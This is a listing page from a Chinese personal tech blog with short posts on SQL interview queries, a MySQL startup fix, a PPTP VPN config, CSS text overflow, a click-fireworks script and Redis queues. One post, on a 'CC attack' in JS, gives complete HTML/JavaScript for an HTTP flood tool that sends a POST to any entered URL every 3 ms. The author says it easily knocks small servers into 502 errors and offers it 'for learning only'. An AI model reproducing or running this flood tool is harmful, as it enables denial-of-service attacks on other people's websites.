首页
关于
留言
友链
电台
壁纸
我的足迹
推荐
知易而行MCP
Search
1
乐橙CMS影视管理系统最全版本
109,325 阅读
2
VIP视频解析破解电影解析模拟破解影视解析
77,802 阅读
3
乐橙CMS影视管理系统4.0.18版本
16,941 阅读
4
新浪图片链接修复教程集合
15,129 阅读
5
反调试代码调试死机代码禁止F12代码
12,103 阅读
语言
PHP
Java
Go
JavaScript
CSS
Vue
资源教程
网络杂谈
技术文章
影视交流
软件工具
Mac
知易而行
登录
Search
标签搜索
PHP
AI
LINUX
微信
MYSQL
树莓派
OpenClaw
ESP32S3
小智AI
P2P
JS
破解
乐橙cms
支付
uniapp
人工智能
技术趋势
智能玩具
ESP32
DIY
子沐~
累计撰写
128
篇文章
累计收到
372
条评论
首页
栏目
语言
PHP
Java
Go
JavaScript
CSS
Vue
资源教程
网络杂谈
技术文章
影视交流
软件工具
Mac
知易而行
页面
关于
留言
友链
电台
壁纸
我的足迹
推荐
知易而行MCP
搜索到
128
篇与
的结果
2021-04-15
面试中遇到的sql练习题
面试中面试官问你啥问题,小编都给你整理在这里了。每天都会整理一份最接地气的面试题,希望能帮助到你!1.用一条SQL 语句查询出每门课都大于80 分的学生姓名?// 第一种方式:select name from table where name not in ( select name from table where score< 80 );// 第二种方式:select name from table group by name having min(score) >= 80;2.删除除了自动编号id不同, 其他都相同的学生冗余信息?字段分别是:id,stunum,name,course,scoredelete table where id not in ( select min(id) from table group by stunum,name,course,score );3.一个叫 team 的表,里面只有一个字段name, 一共有4 条纪录,分别是a,b,c,d, 对应四个球对,现在四个球对进行比赛,用一条sql 语句显示所有可能的比赛组合?// 所有组合:ab,ac,ad, bc,bd, cd 所有左侧字母都小于右侧字母select a.name,b.name from team a,team b where a.name < b.name order by a.name,b.name ;4.从TestDB 数据表中查询出所有月份的发生额都比101 科目相应月份的发生额高的科目?AccID :科目代码,Occmonth :发生额月份,DebitOccur :发生额select a.AccID from TestDB a,( select Occmonth,max(DebitOccur) from TestDB where AccID = '101' group by Occmonth )b where a.Occmonth = b.Occmonth and a.DebitOccur > b.DebitOccur;5.怎么把这样一个表儿查成这样一个结果select year, (select amount from table m where month=1 and m.year=aaa.year) as m1, (select amount from table m where month=2 and m.year=aaa.year) as m2, (select amount from table m where month=3 and m.year=aaa.year) as m3, (select amount from table m where month=4 and m.year=aaa.year) as m4 from table group by year6.复制表( 只复制结构, 源表名:a新表名:b)select * into b from a where 1<>1; // where1=1,拷贝表结构和数据内容7.拷贝表( 拷贝数据, 源表名:a目标表名:b)insert into b(a, b, c) select d,e,f from a;8.显示文章、提交人和最后回复时间select a.title,a.username,b.adddate from table a, (select max(adddate) adddate from table where table.title=a.title) b;9.日程安排提前五分钟提醒select * from 日程安排 where datediff('minute',f 开始时间,getdate())>5;10.两张关联表,删除主表中已经在副表中没有的信息delete from info where not exists ( select * from infobz where info.infid=infobz.infid );11.有两个表A 和B ,均有key 和value 两个字段,如果B 的key 在A 中也有,就把B 的value 换为A 中对应的value?update b set b.value=(select a.value from a where a.key=b.key) where b.id in( select b.id from b,a where b.key=a.key );12.已知有如下4张表:学生表:STUDENT(S#,SNAME,SAGE,SSEX)课程表:COURSE(C#,CNAME,T#)成绩表:SC(S#,C#,SCORE)教师表:TEACHER(T#,TNAME)(1)查询课程编号为“001”的课程比“002”的课程成绩高的所有学生的学号?select x.sno,x.score,y.score from sc x,sc y where x.cno=1001 and y.cno=1002 and x.sno=y.sno and x.score> y.score;(2)查询平均成绩大于60分的学生的学号和平均成绩?select sno,avg(score) from sc group by sno having avg(score)>60;(3)查询所有学生的学号、姓名、选课数、总成绩?select sc.sno,sname,count(cno),sum(score) from student join sc on student.sno=sc.sno group by sc.sno,sname;(4)查询姓“悟”的老师的个数?select count(Tname) from teacher where Tname like'悟%';(5)查询没学过“悟空”老师课的学生的学号、姓名?select sno,sname from student where sno not in( select sno from SC where cno in( select cno from course where tno in( select tno from teacher where tname='悟空' ) ) );
2021年04月15日
1,164 阅读
0 评论
3 点赞
2021-04-13
Macbook安装完mysql,启动时报错:ERROR! The server quit without updating PID file
上代码解决方法: sudo chown -R _mysql /usr/local/var/mysql
2021年04月13日
1,318 阅读
0 评论
2 点赞
2021-04-13
MacBook pro 新版系统如何设置vpn支持pptp类型
No bibi show code先 cd到你的maccd /etc/ppp/peers vim vpn.pplware //将下面的内容写进去保存[alt type="warning"]根据你自己的信息进行更改[/alt]plugin PPTP.ppp noauth # logfile /tmp/ppp.log remoteaddress "你的vpn地址" user "用户名" password "密码" redialcount 1 redialtimer 5 idle 1800 # mru 1368 # mtu 1368 receive-all novj 0:0 ipcp-accept-local ipcp-accept-remote # noauth refuse-eap refuse-pap refuse-chap-md5 hide-password mppe-stateless mppe-128 # require-mppe-128 looplocal nodetach # ms-dns 8.8.8.8 usepeerdns # ipparam gwvpn defaultroute debug 开启vpnsudo pppd call vpn.pplware关闭vnpsudo pkill pppd
2021年04月13日
1,604 阅读
2 评论
3 点赞
2021-04-13
Joe主题markdown格式中的一些常用写法
[copy]复制296528828[/copy][card-default label="卡片标题122"]卡片风格···[/card-default][abtn href="" type="warning"]按钮跳转,default,success,info,warning,danger[/abtn][message消息提示[/message][anote标签按钮[/anote][timeline]时间线[/timeline][card-nav][card-nav-item src="http://baidu.com" title="百度一下" img="https://www.baidu.com/img/baidu_85beaf5496f291521eb75ba38eacbd87.svg" /][/card-nav]
2021年04月13日
1,117 阅读
0 评论
1 点赞
2021-04-13
此内容被密码保护
加密文章,请前往内页查看详情
2021年04月13日
1,339 阅读
0 评论
2 点赞
2021-04-12
免费内网穿透
如果你还没有公网域名,在本部分,你可以使用钉钉内网穿透工具,映射一个本地的公网域名使用。打开命令行工具,执行以下命令,下载内网穿透工具。git clone https://github.com/open-dingtalk/pierced.git执行以下命令,启动内网穿透。注意 Windows需使用cmd工具打开命令行。 Windows执行以下命令:cd windows_64 ding -config=ding.cfg -subdomain=abcde 8080MAC执行以下命令:cd mac_64 chmod 777 ./ding ./ding -config=./ding.cfg -subdomain=abcde 8080启动完客户端后,你访问http://abcde.vaiwan.com/xxxxx 都会映射到 http://127.0.0.1:8080/xxxxx。重启后端服务。
2021年04月12日
1,215 阅读
0 评论
2 点赞
2021-04-11
Css设置单行文本多行文本溢出隐藏并以省略号显示
单行文本溢出white-space: nowrap; text-overflow: ellipsis; overflow: hidden;两行溢出display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; overflow: hidden; text-overflow: ellipsis;
2021年04月11日
1,336 阅读
0 评论
1 点赞
2021-04-11
为你的网站添加点击散开特效
<canvas id="fireworks" style="position: fixed; left: 0px; top: 0px; pointer-events: none; z-index: 2147483647; width: 1920px; height: 151px;" width="3840" height="302"></canvas> <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/animejs@3.0.1/lib/anime.min.js"></script> <script type="text/javascript"> function updateCoords(e) { pointerX = (e.clientX || e.touches[0].clientX) - canvasEl.getBoundingClientRect().left, pointerY = e.clientY || e.touches[0].clientY - canvasEl.getBoundingClientRect().top } function setParticuleDirection(e) { var t = anime.random(0, 360) * Math.PI / 180, a = anime.random(50, 180), n = [-1, 1][anime.random(0, 1)] * a; return { x: e.x + n * Math.cos(t), y: e.y + n * Math.sin(t) } } function createParticule(e, t) { var a = {}; return a.x = e, a.y = t, a.color = colors[anime.random(0, colors.length - 1)], a.radius = anime.random(16, 32), a.endPos = setParticuleDirection(a), a.draw = function() { ctx.beginPath(), ctx.arc(a.x, a.y, a.radius, 0, 2 * Math.PI, !0), ctx.fillStyle = a.color, ctx.fill() }, a } function createCircle(e, t) { var a = {}; return a.x = e, a.y = t, a.color = "#F00", a.radius = .1, a.alpha = .5, a.lineWidth = 6, a.draw = function() { ctx.globalAlpha = a.alpha, ctx.beginPath(), ctx.arc(a.x, a.y, a.radius, 0, 2 * Math.PI, !0), ctx.lineWidth = a.lineWidth, ctx.strokeStyle = a.color, ctx.stroke(), ctx.globalAlpha = 1 }, a } function renderParticule(e) { for (var t = 0; t < e.animatables.length; t++) e.animatables[t].target.draw() } function animateParticules(e, t) { for (var a = createCircle(e, t), n = [], i = 0; i < numberOfParticules; i++) n.push(createParticule(e, t)); anime.timeline().add({ targets: n, x: function(e) { return e.endPos.x }, y: function(e) { return e.endPos.y }, radius: .1, duration: anime.random(1200, 1800), easing: "easeOutExpo", update: renderParticule }).add({ targets: a, radius: anime.random(80, 160), lineWidth: 0, alpha: { value: 0, easing: "linear", duration: anime.random(600, 800) }, duration: anime.random(1200, 1800), easing: "easeOutExpo", update: renderParticule, offset: 0 }) } function debounce(fn, delay) { var timer return function() { var context = this var args = arguments clearTimeout(timer) timer = setTimeout(function() { fn.apply(context, args) }, delay) } } var canvasEl = document.querySelector("#fireworks"); if (canvasEl) { var ctx = canvasEl.getContext("2d"), numberOfParticules = 30, pointerX = 0, pointerY = 0, tap = "mousedown", colors = ["#FF1461", "#18FF92", "#5A87FF", "#FBF38C"], setCanvasSize = debounce(function() { canvasEl.width = 2 * window.innerWidth, canvasEl.height = 2 * window.innerHeight, canvasEl.style.width = window.innerWidth + "px", canvasEl.style.height = window.innerHeight + "px", canvasEl.getContext("2d").scale(2, 2) }, 500), render = anime({ duration: 1 / 0, update: function() { ctx.clearRect(0, 0, canvasEl.width, canvasEl.height) } }); document.addEventListener(tap, function(e) { "sidebar" !== e.target.id && "toggle-sidebar" !== e.target.id && "A" !== e.target.nodeName && "IMG" !== e.target.nodeName && (render.play(), updateCoords(e), animateParticules(pointerX, pointerY)) }, !1), setCanvasSize(), window.addEventListener("resize", setCanvasSize, !1) } </script>
2021年04月11日
1,463 阅读
0 评论
1 点赞
2021-04-11
使用JS实现CC网站攻击
今天兴趣来潮,使用原生js写了一个cc攻击,当然只是简单的写一下,对小服务器来说,可以轻松的压出502,服务器牛逼的话,没什么效果,比如本站就是小服务器,cc压下就502了,下面是源码,仅供学习使用.<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Document</title> <style> body { display: flex; align-items: center; justify-content: center; } input { height: 35px; padding: 0 10px; box-sizing: border-box; outline: none; } </style> </head> <body> <input type="text" placeholder="请输入需要被CC的网址" style="margin-right: 10px" /> <input type="button" value="开始" /> <script> let timer = null; const input = document.querySelector('input[type="text"]'); const button = document.querySelector('input[type="button"]'); button.addEventListener('click', function () { const url = input.value; if (!url) return alert('请输入需要被压的域名'); if (!url.startsWith('http')) return alert('请输入http或https开头的网址'); if (this.value === '开始') { this.value = '停止'; timer = setInterval(() => { const xhr = new XMLHttpRequest(); xhr.open('POST', url, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('name=name'); }, 3); } else { this.value = '开始'; clearInterval(timer); } }); </script> </body> </html>
2021年04月11日
1,239 阅读
0 评论
1 点赞
2021-04-11
Redis异步队列与延时队列如何实现
消息中间件,大家都会想到 Rabbitmq 和 Kafka 作为消息队列中间件,来给应用程序之间增加异步消息传递功能。这两个中间件都是专业的消息队列中间件,特性之多超出了大多数人的理解能力。但是这种属于重量级的应用,使用比较麻烦点。如果是轻量级的,使用 Redis就可以。比如对于那些只有一组消费者的消息队列,使用 Redis 就可以非常轻松的搞定。Redis 的消息队列不是专业的消息队列,它没>有非常多的高级特性,没有 ack 保证,如果对消息的可靠性没有极致的要求,那么它可以拿来使用。异步消息队列Redis 的 list(列表) 数据结构常用来作为异步消息队列使用,使用rpush/lpush操作入队列,使用lpop 和 rpop来出队列。rpush 和 lpop 结合 或者lpush 和rpop 结合;客户端是通过队列的 pop 操作来获取消息,然后进行处理。处理完了再接着获取消息,再进行处理。如此循环往复,这便是作为队列消费者的客户端的生命周期。问题来了可是如果队列空了,客户端就会陷入 pop 的死循环,不停地 pop,没有数据,接着再 pop,又没有数据。这就是浪费生命的空轮询。空轮询不但拉高了客户端的 CPU,redis 的 QPS 也会被拉高,如果这样空轮询的客户端有几十来个,Redis 的慢查询可能会显著增多。 通常我们使用 sleep 来解决这个问题,让线程睡一会,睡个 1s 钟就可以了。不但客户端的 CPU 能降下来,Redis 的 QPS 也降下来了。新的问题:用上面睡眠的办法可以解决问题。但是有个小问题,那就是睡眠会导致消息的延迟增大。如果只有 1 个消费者,那么这个延迟就是 1s。如果有多个消费者,这个延迟会有所下降,因为每个消费者的睡觉时间是岔开来的。 有没有什么办法能显著降低延迟呢?你当然可以很快想到:那就把睡觉的时间缩短点。这种方式当然可以,不过有没有更好的解决方案呢?当然也有,那就是 blpop/brpop。这两个指令的前缀字符b代表的是blocking,也就是阻塞读。阻塞读在队列没有数据的时候,会立即进入休眠状态,一旦数据到来,则立刻醒过来。消息的延迟几乎为零。用blpop/brpop替代前面的lpop/rpop,就完美解决了上面的问题。问题喋喋不休:空闲连接自动断开 你以为上面的方案真的很完美么?先别急着开心,其实他还有个问题需要解决。什么问题?—— 空闲连接的问题。 如果线程一直阻塞在哪里,Redis 的客户端连接就成了闲置连接,闲置过久,服务器一般会主动断开连接,减少闲置资源占用。这个时候blpop/brpop会抛出异常来。所以编写客户端消费者的时候要小心,注意捕获异常,还要重试。消息延时队列延时队列可以通过 Redis 的 zset(有序列表) 来实现。我们将消息序列化成一个字符串作为 zset 的value,这个消息的到期处理时间作为score,然后用多个线程轮询 zset 获取到期的任务进行处理,多个线程是为了保障可用性,万一挂了一个线程还有其它线程可以继续处理。因为有多个线程,所以需要考虑并发争抢任务,确保任务不能被多次执行。 Redis 的 zrem 方法是多线程多进程争抢任务的关键,它的返回值决定了当前实例有没有抢到任务,因为 loop 方法可能会被多个线程、多个进程调用,同一个任务可能会被多个进程线程抢到,通过 zrem 来决定唯一的属主。同时,我们要注意一定要对 handle_msg 进行异常捕获,避免因为个别任务处理问题导致循环异常退出。问题来了:同一个任务可能会被多个进程取到之后再使用 zrem 进行争抢,那些没抢到的进程都是白取了一次任务,这是浪费。解决办法:Lua是Redis内置脚本,执行Lua脚本时,Redis线程会依次执行脚本中的语句,对于客户端来说操作是原子性的,将 zrangebyscore 和 zrem 一同挪到服务器端进行原子化操作,这样多个进程之间争抢任务时就不会出现这种浪费了。
2021年04月11日
991 阅读
0 评论
2 点赞
1
...
3
4
5
...
13